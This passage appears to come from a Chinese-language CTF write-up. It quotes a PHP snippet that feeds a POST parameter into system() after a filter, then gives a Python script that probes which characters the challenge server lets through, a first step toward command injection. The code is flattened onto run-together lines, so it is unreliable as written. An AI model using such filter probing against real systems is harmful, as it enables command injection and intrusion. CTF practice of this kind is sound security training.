if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; check($ctfshow); system($ctfshow); } ?>
跑一下可用字符:
1 2 3 4 5 6 7 8 9 10 11 12
import requests, string
url = "http://c02d3adb-baec-43a3-b6b8-db459552c960.challenge.ctf.show" allowed = [] for c in string.printable: r = requests.post(url, data={"ctf_show": c}) if"??????"notin r.text: allowed.append(c)
print("可用字符:", allowed) print(''.join(a for a in allowed))